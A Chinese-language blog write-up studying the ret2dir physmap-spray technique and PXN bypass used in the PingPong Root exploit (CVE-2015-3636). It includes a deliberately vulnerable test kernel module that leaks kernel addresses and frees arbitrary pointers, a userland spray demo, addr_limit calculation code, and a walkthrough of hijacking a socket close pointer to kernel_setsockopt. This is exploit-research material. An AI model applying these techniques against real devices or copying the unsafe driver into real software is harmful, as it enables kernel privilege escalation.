从PingPong Root学习ret2dir&PXN绕过

Brief

由于PingPong Root是我第一次复现kernel 相关的漏洞,里面的一些漏洞利用技巧都是第一次接触到,个人感觉还是很有必要好好研究品味一下,也可以顺便提升下一些内核基本功;

CVE-2015-3636主要涉及到的是利用ret2dir完成的物理内存喷射(physmap spray)以及绕过PXN进行内核读写以及ROP;

下面将分章节来梳理这两个技巧。ret2dir技术主要参考BlackHat 2014的ppt以及网上的一些公开资料;PXN的绕过技术主要参考mosec 2016年的ppt。相关内容全部在Reference可以找到;

Ret2dir

ret2dir全称return-to-direct-mapped memory.

简单的背景介绍:由于传统的ret2usr的内核攻击的利用方式会将内核中的结构或是函数指针劫持到用户态中,Linux内核引入了一系列机制,如SMEP/SMAP/PXN以隔离内核空间以及用户空间。Linux中的physmap是内核空间中一个大的,连续的虚拟内存空间,它映射了部分或所有(取决于具体架构)的物理内存。physmap的存在导致了地址别名。当两块或者多块虚拟内存映射到同一块物理地址时,就会产生地址别名。假定physmap能够映射内核中大部分物理地址,攻击者控制的进程可以通过地址别名来访问。通过地址别名,让攻击者仍然有机会在用户空间来访问甚至改写内核的数据结构;

在x86系统中,physmap在我们尝试的所有内核版本中映射为可读和可写。然而,在x86-64中,physmap的权限没有处于一个正常的状态。在v3.8.13之前的内核,直接将映射的整个区域设置为可读可写可执行(RWX),但这样违背了W^X属性。仅仅在最近的内核版本中(>=3.9)使用了更多保留的RW映射。最后,AArch32和AArch64的physmap在所有我们测试的版本中都是可读可写可执行的。

由于没有完整的阅读这部分的代码,很多内容的理解还是不深刻,就不再赘述了,直接上一些Demo代码来体验ret2dir的过程吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// test.c
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/fs.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
#include <linux/sched.h>
#include <linux/uidgid.h>
#include <linux/miscdevice.h>
#include <linux/uaccess.h>

#define TEST_IOCTL_ALLOC 0x0101
#define TEST_IOCTL_RELEASE 0x0102
#define TEST_IOCTL_TEST 0x0103

static struct kmem_cache* global_cache;
static char pattern[16];

static int test_open(struct inode* inode, struct file* file) {
return 0;
}

static int test_close(struct inode* inode, struct file* file) {
return 0;
}

static unsigned long poison_check(void* addr) {
int i, confirm=0;
for(i = 0; i < 0x1000; i += 16) {
if (!memcmp((char*)addr + i, pattern, 16)) {
confirm = 1;
break;
}
}

return confirm;
}

static long int test_ioctl(struct file* file, unsigned int cmd, unsigned long arg)
{
void* obj;
unsigned long ret = 0;
switch(cmd) {
case TEST_IOCTL_ALLOC:
obj = kmem_cache_alloc(global_cache, GFP_KERNEL);
if (obj != NULL) {
copy_to_user(arg, &obj, sizeof(unsigned long));
}
else
ret = -ENOMEM;
break;
case TEST_IOCTL_RELEASE:
kfree((void*)arg);
break;
case TEST_IOCTL_TEST:
// obj test user payload if fill
ret = poison_check(arg);
break;
}
return ret;
}

static const struct file_operations test_operations = {
.owner = THIS_MODULE,
.unlocked_ioctl = test_ioctl,
.open = test_open,
.release = test_close,
};

struct miscdevice test_device = {
.minor = MISC_DYNAMIC_MINOR,
.name = "test_misc_device",
.fops = &test_operations,
};

static int __init test_init(void) {
int error,i;
error = misc_register(&test_device);

if (error) {
pr_err("cant register the misc device.\n");
return error;
}

global_cache = kmem_cache_create("testing", 1400, 0, SLAB_HWCACHE_ALIGN, NULL);
if (!global_cache) {
pr_err("cant create global cache.\n");
misc_deregister(&test_device);
return -ENOMEM;
}

//prepare for pattern.
unsigned int _pattern = 0xdeadbeaf;
for (i = 0; i < 4; i++)
memcpy((char*)pattern + i * 4, &_pattern, 4);

pr_info("successfully register the misc device. minor = %d\n", test_device.minor);
return 0;
}

static void __exit test_exit(void) {
kmem_cache_destroy(global_cache);
misc_deregister(&test_device);
pr_info("successfully unregister the misc device.\n");
}

module_init(test_init);
module_exit(test_exit);

MODULE_DESCRIPTION("Misc Driver For Test");
MODULE_AUTHOR("n1rv0us");
MODULE_LICENSE("GPL");

首先是专门用来测试的内核驱动模块,设置了三个ioctl的选项:

  • TEST_IOCTL_ALLOC : 用于申请内核object;

  • TEST_IOCTL_RELEASE : 用于释放内核object;

  • TEST_IOCTL_TEST : 用于测试是用户空间的污染是否已经成功;

下面就是写一小段程序来测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/mman.h>

#define TEST_IOCTL_ALLOC 0x0101
#define TEST_IOCTL_RELEASE 0x0102
#define TEST_IOCTL_TEST 0x0103

#define TEST_BOUNDARY (8192 * 24)

// 1 page = 4096; 4096 / 512 = 8 object;
void* maps[TEST_BOUNDARY];

int main(int argc, char** argv) {
if (argc != 2) {
printf("USAGE : ./interactive PATH_TO_DEVICE\n");
return -1;
}

int i;
unsigned int pattern = 0xdeadbeaf;
int fd = open(argv[1], O_RDONLY);
if (fd < 0) {
printf("[-] Failed to open devices.\n");
return -1;
}

unsigned long res;
for (int i = 0; i < TEST_BOUNDARY; i++) {
res = ioctl(fd, TEST_IOCTL_ALLOC, &maps[i]);
if (res != 0) {
perror("[-] test ioctl alloc error.");
exit(EXIT_FAILURE);
}
}

// free half
for (int i = 0; i < TEST_BOUNDARY/2; i++) {
ioctl(fd, TEST_IOCTL_RELEASE, &maps[i]);
}

// start mmaps
for (i = 0; i < 48; i++) {
// 16 MB a time
void* addr = mmap(0, 16 * (1024 * 1024), PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr < 0) {
perror("Error in mmap");
break;
}
// pisoning
for(unsigned long j = 0; j < (16 * 1024 * 1024); j += 4) {
memcpy((char*)addr + j, &pattern, 4);
}
}

printf("[*] start testing.\n");
for (int i = 0; i < TEST_BOUNDARY; i++) {
if (i % 6400 == 0) printf("test index-%d\n", i);
unsigned long ret = ioctl(fd, TEST_IOCTL_TEST, maps[i]);

if (ret != 0)
printf("[*] index-%d successfully leaked..\n", i);
}

printf("[*] testing end.\n");
// free remain
for (int i = TEST_BOUNDARY / 2; i < TEST_BOUNDARY; i++) {
ioctl(fd, TEST_IOCTL_RELEASE, maps[i]);
}

close(fd);
return 0;
}

PXN 绕过

简介

PXN (Privileged execute-never) 是ARM平台针对传统在用户空间执行shellcode而引入的机制。当其bit位被设置成1的时候,CPU运行在PL1(即内核模式)的时候不再允许执行用户空间的指令,否则就会抛出Permission fault. 但是PXN其实并不组织内核从用户空间读取数据。

传统绕过方式

绕过PXN的核心思路是patch addr_limit. 由于addr_limit存放在thread_info中,而thread_info又会存放在栈的附近,因此,一般的思路就是:

  1. 泄漏sp指针

  2. 计算addr_limit

  3. patch addr_limit

当泄漏sp地址后,可以通过如下的公式来计算

1
2
3
unsigned long thread_info_addr = sp & 0xFFFFFFFFFFFFC000;  // arm64 系统中栈最大的深度为16KB
unsigned long addr_limit_addr = thread_info_addr + 8; // addr_limit结构存放于thread_info + 8
printf("addr_limit_addr: %p\n", addr_limit_addr);

新思路绕过

内核中存在一个非常有意思的函数set_fs()

1
2
3
4
5
static inline void set_fs(mm_segment_t fs)
{
current_thread_info()->addr_limit = fs;
modify_domain(DOMAIN_KERNEL, fs ? DOMAIN_CLIENT : DOMAIN_MANAGER);
}

这个函数支持直接将addr_limit设置成一个“合适”的值;一些资料显示,该函数是为了内核使用一些系统调用(比如利用系统调用访问文件系统)而预留的”小后门”; 一般调用 set_fs (KERNEL_DS) 更改 addr_limit 值去掉空间限制,使用完系统调用后还要将地址空间的限制还原,这时调用 set_fs (oldfs) 即可。set_fs () 这个函数较为危险,所以内核在使用的时候总是以 set_fs (KERNEL_DS) 和 set_fs (oldfs) 这两次调用成对出现。

那么有意思的思路就出现了,如果我们能够在set_fs (KERNEL_DS)后劫持执行流,此时PXN就是关闭的;或者能够利用一些BUG之类的,让内核执行完set_fs (KERNEL_DS)之后不执行

set_fs (oldfs)也可实现PXN的关闭;

而在CVE-2015-3636中就利用了如下的函数,来关闭PXN

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int kernel_setsockopt(struct socket *sock, int level, int optname,
char *optval, unsigned int optlen)
{
mm_segment_t oldfs = get_fs();
char __user *uoptval;
int err;

uoptval = (char __user __force *) optval;

set_fs(KERNEL_DS);
if (level == SOL_SOCKET)
err = sock_setsockopt(sock, level, optname, uoptval, optlen);
else
err = sock->ops->setsockopt(sock, level, optname, uoptval,
optlen);
set_fs(oldfs);
return err;
}

还记得CVE-2015-3636在利用漏洞的时候,劫持的指针为sk->sk_prot->close;将该指针指向 kernel_setsockopt ()函数;此时的 R0 即是 kernel_setsockopt () 的第一个参数 sock,所以 sock->ops->setsockopt 这个函数指针就可以通过 R0+offset 来控制。这个 offset 的具体值可以查看 kernel_setsockopt () 的汇编码来确定

以上

Reference